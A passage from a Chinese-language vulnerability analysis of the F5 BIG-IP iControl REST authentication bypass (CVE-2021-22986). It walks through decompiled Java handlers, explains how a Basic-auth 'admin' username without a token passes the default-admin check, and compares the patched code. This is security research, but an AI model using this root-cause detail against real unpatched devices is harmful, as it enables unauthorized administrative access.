    RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {
public void run() {
if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {
                RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);
            }

        }
    });
    RestServer.trace(this.operation);}跟着先去看一下trySendInProcess```java
public static boolean trySendInProcess(RestOperation request) {
try {
            URI uri = request.getUri();
if (uri == null) {
throw new IllegalArgumentException("uri is null");
            }

if (!RestHelper.isLocalHost(uri.getHost())) {
return false;
            }

            RestServer server = getInstance(uri.getPort());
if (server == null) {
return false;
            }

            RestWorker worker = null;
            worker = findWorker(request, server);
if (worker == null) {
                String sanatizePath = sanitizePath(uri.getPath());
                String message = String.format("URI path %s not registered.  Please verify URI is supported and wait for /available suffix to be responsive.", sanatizePath);
                RestErrorResponse errorResponse = RestErrorResponse.create().setCode(404L).setMessage(message).setReferer(request.getReferer()).setRestOperationId(request.getId()).setErrorStack((List)null);
                request.setIsRestErrorResponseRequired(false);
                request.setBody(errorResponse);
                request.fail(new RestWorkerUriNotFoundException(message));
return true;
            }

try {
                worker.onRequest(request);
            } finally {
                ApiUsageData.addUsage(BUCKET.MESSAGE, request.getMethod(), worker.getUri().getPath());
            }
        } catch (Exception var11) {
            LOGGER.severe("e:" + var11.getMessage());
            request.fail(var11);
        }

return true;
    }

这里,基础的配置设置完成后,会调用worker.onRequest(request)

protected void onRequest(RestOperation request, String key) {
if (request != null) {
            boolean toDispatch = this.dispatchOrQueue(request, key);
if (toDispatch) {
this.requestReadyQueue.add(request);
this.getServer().scheduleRequestProcessing(this);
            }

        }
    }

将此request加入到requestReadyQueue中去,然后scheduleRequestProcessing

public void scheduleRequestProcessing(RestWorker worker) {
if (this.readyWorkerSet.add(worker)) {
        RestThreadManager.getNonBlockingPool().execute(this.processRequestsTask);
    }}

然后会调用processRequestsTask来处理这个请求,这个processRequestsTask在前边已经明确定义

public RestServer(int port, JettyHost jettyHost) {
this.pathToWorkerMap = new ConcurrentSkipListMap();
this.workerToCollectionPathsMap = new ConcurrentSkipListMap();
this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);
this.supportWorkersStarted = false;
this.allowStackTracesInPublicResponse = false;
this.storageUri = null;
this.configIndexUri = null;
this.groupResolverUri = null;
this.deviceResolverUri = null;
this.forwarderUri = null;
this.machineId = null;
this.discoveryAddress = null;
this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);
this.readyWorkerSet = new ConcurrentSkipListSet();
this.indexRebuildCoordinator = new RunnableCoordinator(1);
this.forwardRequestValidator = null;
if (port < 0) {
throw new IllegalArgumentException("port");
    } else {
this.listenPort = port;
this.jettyHost = jettyHost;
this.processRequestsTask = new Runnable() {
public void run() {
                RestServer.this.processQueuedRequests();
            }
        };
    }}

所以直接去看processQueuedRequests的处理即可,从队列中依次取出需要处理的request,挨个处理

private void processQueuedRequests() {
    ArrayList workersWithMoreWork = new ArrayList();

while(true) {
        RestWorker worker = (RestWorker)this.readyWorkerSet.pollFirst();
if (worker == null) {
            Iterator i$ = workersWithMoreWork.iterator();

while(i$.hasNext()) {
                RestWorker w = (RestWorker)i$.next();
this.scheduleRequestProcessing(w);
            }

return;
        }

        boolean doContinue = false;

for(int i = 0; i < 100; ++i) {
            RestOperation request = worker.pollReadyRequestQueue();
if (request == null) {
                doContinue = true;
break;
            }

            worker.callRestMethodHandler(request);
        }

if (!doContinue && worker.requestAreWaitingInReadyQueue()) {
            workersWithMoreWork.add(worker);
        }
    }}

可以看到,队列中取出 request后会调用callRestMethodHandler去处理

protected final void callRestMethodHandler(RestOperation request) {
try {
boolean updateStats = RestHelper.isOperationTracingEnabled() && !this.isHelper();
            RestMethod method = request.getMethod();
boolean hasParameters = !request.getParameters().isEmpty();
long startTimeMicroSec = 0L;
            RestWorkerStats stats;
if (updateStats) {
                startTimeMicroSec = RestHelper.getNowMicrosUtc();
                stats = this.getStats();
if (stats != null) {
                    stats.incrementRequestCountForMethod(method, hasParameters);
                }
            }

this.callDerivedRestMethod(request, method, hasParameters);
if (updateStats) {
                stats = this.getStats();
if (stats != null) {
                    stats.incrementMovingAverageRequestCountForMethod(method, RestHelper.getNowMicrosUtc() - startTimeMicroSec, hasParameters);
                }
            }
        } catch (Exception var9) {
            Exception e = var9;

try {
if (e instanceof JsonSyntaxException && (e.getCause() instanceof IllegalStateException || e.getCause() instanceof MalformedJsonException || e.getCause() instanceof EOFException)) {
                    LOGGER.fine("JSON parsing exception error, will execute XSS validation");
this.handleXSSAttack(request, e.getLocalizedMessage());
                }

                String exceptionMsgWithStack = RestHelper.throwableStackToString(e);
                LOGGER.warning(String.format("dispatch to worker %s caught following exception: %s", this.getUri(), exceptionMsgWithStack));
            } catch (Exception var8) {
                LOGGER.severe("Failed to log exception in callRestMethodHandler");
            }

            request.fail(var9);
        }

    }

做一些判断后会调用callDerivedRestMethod函数

protected void callDerivedRestMethod(RestOperation request, RestMethod method, boolean hasParameters) {
    switch(method) {
    case GET:
if (hasParameters) {
this.onQuery(request);
        } else {
this.onGet(request);
        }
break;
    case PATCH:
this.onPatch(request);
break;
    case POST:
this.onPost(request);
break;
    case PUT:
this.onPut(request);
break;
    case DELETE:
this.onDelete(request);
break;
    case OPTIONS:
        String origin = request.getAdditionalHeader(Direction.REQUEST, "Origin");
if (origin != null && !origin.isEmpty()) {
            request.getAdditionalHeaders(Direction.RESPONSE).addCORSResponseAllowMethodsHeader(this.getAllowedHttpMethods());
        }

this.onOptions(request);
break;
default:
        request.fail(new UnsupportedOperationException());
    }}

根据request_method分发,我们去看onPost的实现

这里一定要注意一点,此时的this并不是RestWorker对象,而是ForwarderPassThroughWorker对象,具体要向前回溯去看实例化的过程,但是太麻烦,简易直接通过动态调试,一目了然

protected void onPost(RestOperation request) {
this.onForward(request);}

继续向下追ForwarderPassThroughWorker中的onForward

private void onForward(final RestOperation request) {
final ForwarderWorkerRequest mapping = this.forwarder.findMapping(request.getUri().getPath());
if (mapping == null) {
        request.setStatusCode(400);
this.failRequest(request, this.getUriNotRegisteredException(request));
    } else {
if (this.isExternalRequest(request)) {
            ForwardRequestValidator validator = this.getServer().getForwardRequestValidator();
if (validator != null) {
try {
                    validator.validateRequest(request);
                } catch (Exception var7) {
this.failRequest(request, var7);
return;
                }
            }

            switch(mapping.apiStatus) {
            case DEPRECATED:
                request.setResourceDeprecated(true);
if (!isDeprecatedApiAllowed) {
                    request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "deprecate");
return;
                }

this.logApiAccessFailure(isLogDeprecatedApiAllowed, request.getUri().getPath(), "deprecate");
break;
            case EARLY_ACCESS:
                request.setResourceEarlyAccess(true);
if (!isEarlyAccessApiAllowed) {
                    request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "earlyAccess");
return;
                }

this.logApiAccessFailure(isLogEarlyAccessApiAllowed, request.getUri().getPath(), "earlyAccess");
break;
            case TEST_ONLY:
if (!isTestOnlyApiAllowed) {
                    request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "testOnly");
return;
                }

this.logApiAccessFailure(isLogTestOnlyApiAllowed, request.getUri().getPath(), "testOnly");
break;
            case INTERNAL_ONLY:
                request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
            case NO_STATUS:
            case GA:
break;
default:
this.failRequest(request, new IllegalStateException("Unknown API Availabilty type"));
return;
            }
        }

        CompletionHandler completion = new CompletionHandler() {
public void completed(Void dummy) {
                ForwarderPassThroughWorker.this.cloneAndForwardRequest(request, mapping);
            }

public void failed(Exception exception, Void dummy) {
                ForwarderPassThroughWorker.this.failRequest(request, exception);
                AuditLog.auditLog(request, false);
            }
        };
        boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (isPasswordExpired) {
            String expiredPasswordUriPath = request.getUri().getPath();
            boolean isPasswordRequestValid = this.passwordRequestIsOnlyToPermittedURI(expiredPasswordUriPath, request) && this.passwordRequestOnlyContainsPermittedFields(request) && this.userChangingSelfPassword(expiredPasswordUriPath, request);
if (!isPasswordRequestValid) {
                request.setStatusCode(401);
this.failRequest(request, new SecurityException(CHANGE_PASSWORD_NOTIFICATION));
this.logExpiredPassword(expiredPasswordUriPath);
return;
            }
        }

        boolean isRBACDisabled = this.getProperties().getAsBoolean("rest.common.RBAC.disabled");
if (isRBACDisabled) {
            completion.completed((Object)null);
        } else {
            EvaluatePermissions.evaluatePermission(request, completion);
        }

    }}

经过动态调试,前边的分支都进不去,会进入EvaluatePermissions.evaluatePermission(request, completion)

public static void evaluatePermission(final RestOperation request, final CompletionHandler finalCompletion) {    if (roleEval == null) {        throw new IllegalArgumentException("roleEval may not be null.");    } else {        if (request.getReferer() == null) {            request.setReferer(request.getRemoteSender());        }        String authToken = request.getXF5AuthToken();        if (authToken == null) {            completeEvaluatePermission(request, (AuthTokenItemState)null, finalCompletion);        } else {            RestRequestCompletion completion = new RestRequestCompletion() {                public void completed(RestOperation tokenRequest) {                    AuthTokenItemState token = (AuthTokenItemState)tokenRequest.getTypedBody(AuthTokenItemState.class);                    EvaluatePermissions.completeEvaluatePermission(request, token, finalCompletion);                }                public void failed(Exception exception, RestOperation tokenRequest) {                    String error = "X-F5-Auth-Token does not exist.";                    EvaluatePermissions.setStatusUnauthorized(request);                    finalCompletion.failed(new SecurityException(error), (Object)null);                }            };            RestOperation tokenRequest = RestOperation.create().setUri(UrlHelper.extendUriSafe(UrlHelper.buildLocalUriSafe(authzTokenPort, new String[]{WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH}), new String[]{authToken})).setCompletion(completion);            RestRequestSender.sendGet(tokenRequest);        }    }}

此处,获取到的authToken为null,所以会进入completeEvaluatePermission

private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler finalCompletion) {
if (token != null) {
if (token.expirationMicros < RestHelper.getNowMicrosUtc()) {
String error = "X-F5-Auth-Token has expired.";
            setStatusUnauthorized(request);
            finalCompletion.failed(new SecurityException(error), (Object)null);
return;
        }

        request.setXF5AuthTokenState(token);
    }

    request.setBasicAuthFromIdentity();
if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestMethod.POST)) {
        finalCompletion.completed((Object)null);
    } else if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_LOGIN_WORKER, "available"})) && request.getMethod().equals(RestMethod.GET)) {
        finalCompletion.completed((Object)null);
    } else {
        final RestReference userRef = request.getAuthUserReference();
        final String path;
if (RestReference.isNullOrEmpty(userRef)) {
            path = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender();
            setStatusUnauthorized(request);
            finalCompletion.failed(new SecurityException(path), (Object)null);
        } else if (AuthzHelper.isDefaultAdminRef(userRef)) {
            finalCompletion.completed((Object)null);
        } else {
if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
                path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
            } else {
                path = UrlHelper.normalizeUriPath(request.getUri().getPath());
            }

            final RestMethod verb = request.getMethod();
if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {
String filterField = request.getParameter("$filter");
if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
                    finalCompletion.completed((Object)null);
return;
                }
            }

if (token != null && path.equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token}))) {
                finalCompletion.completed((Object)null);
            } else {
                roleEval.evaluatePermission(request, path, verb, new CompletionHandler() {
public void completed(Boolean result) {
if (result) {
                            finalCompletion.completed((Object)null);
                        } else {
String error = "Authorization failed: user=" + userRef.link + " resource=" + path + " verb=" + verb + " uri:" + request.getUri() + " referrer:" + request.getReferer() + " sender:" + request.getRemoteSender();
                            EvaluatePermissions.setStatusUnauthorized(request);
                            finalCompletion.failed(new SecurityException(error), (Object)null);
                        }
                    }

public void failed(Exception ex, Boolean result) {
                        request.setBody((String)null);
                        request.setStatusCode(500);
String error = "Internal server error while authorizing request";
                        finalCompletion.failed(new Exception(error), (Object)null);
                    }
                });
            }
        }
    }}

向下运行,会进入else if (AuthzHelper.isDefaultAdminRef(userRef))这个判断,由于现有reference是根据admin这个username生成的,所以会进入这个判断,成功继续向下运行,绕过判断。

修复

使用idea可以针对两个jar包开展比对,选中两个jar包后按command+D即可

经比较,发现RestOperationIdentifier类中的setIdentityFromBasicAuth函数变化较大

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第10张图片

原代码:

private static boolean setIdentityFromBasicAuth(RestOperation request) {        String authHeader = request.getBasicAuthorization();        if (authHeader == null) {            return false;        } else {            BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);            return true;        }    }

更新后代码:

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
        String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
        } else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
            String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
                    runnable.run();
                }

return true;
            } else {
                String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
                        request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
                            runnable.run();
                        }

return true;
                    } else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
                            AuthProviderLoginState loginState = new AuthProviderLoginState();
                            loginState.username = components.userName;
                            loginState.password = components.password;
                            loginState.address = request.getRemoteSender();
                            RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
                                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
                                        runnable.run();
                                    }

                                }

public void failed(Exception ex, RestOperation subRequest) {
                                    RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
                                        request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
                                    }

if (runnable != null) {
                                        runnable.run();
                                    }

                                }
                            };

try {
                                RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
                                RestRequestSender.sendPost(subRequest);
                            } catch (URISyntaxException var11) {
                                LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
                            }

return true;
                        } else {
                            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
                                runnable.run();
                            }

return true;
                        }
                    }
                } else {
                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
                        runnable.run();
                    }

return true;
                }
            }
        }
    }

static {
        TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
    }}

修复后的代码针对请求的ip做了筛选,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用口令密码重新验证。

**参考
**

  1. CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞分析

  2. F5从认证绕过到远程代码执行漏洞分析

  3. F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用

  4. 从滥用HTTP hop by hop请求头看CVE-2022-1388

你可能感兴趣的:(漏洞分析及复现,安全,web安全,java)